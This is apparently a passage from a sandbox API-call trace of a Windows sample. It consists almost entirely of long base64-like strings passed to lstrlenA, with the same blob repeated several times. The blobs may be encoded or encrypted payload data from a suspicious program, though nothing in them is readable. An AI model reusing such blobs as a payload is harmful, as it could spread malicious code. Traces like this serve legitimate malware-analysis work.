ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.637] lstrlenA (lpString="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